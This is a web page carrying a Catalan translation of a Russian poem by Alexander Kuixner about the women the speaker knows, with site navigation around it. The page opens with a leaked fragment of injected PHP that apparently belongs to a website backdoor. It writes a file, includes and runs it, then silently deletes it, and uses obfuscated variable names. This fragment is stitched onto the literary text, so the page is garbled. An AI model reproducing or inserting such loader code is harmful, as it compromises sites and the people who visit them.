");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> «Entre les dones que conec, no n'hi ha»
Facebook Twitter
Portada > El espacio de los traductores > Rus > Xènia Dyakonova > «Entre les dones que conec, no n'hi ha»

«Entre les dones que conec, no n'hi ha»

Alexander Kuixner

Entre les dones que conec, no n'hi ha
qui tingui per costum llençar a les flames
els seus diners, ni travessar el llindar
amb febre als ulls i tremolor a les cames;
cap, ni a la calma freda d'un museu,
ni a un parc, secretament acalorada,
no hi portaria mai, gràcies a Déu,
el pes d'una pistola carregada.

Jo hagués pensat que és un engany, de tants,
l'ardor d'aquestes ombres, si no fora
per les sabates lluents i extravagants
d'aquella que em saluda i es demora.
El seu perfum barat fa mala olor,
la seva discreció és un miratge;
quan plora, se li escorre el maquillatge,
i els versos que li agraden, són de por.

Traducido por Xènia Dyakonova
Xènia Dyakonova
Comentarios sobre traducciones
Fragments
El meu passat - Xènia Dyakonova
Un Nadal per tots - Xènia Dyakonova
Bibliografia
Buscador de traductores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Con el soporte de: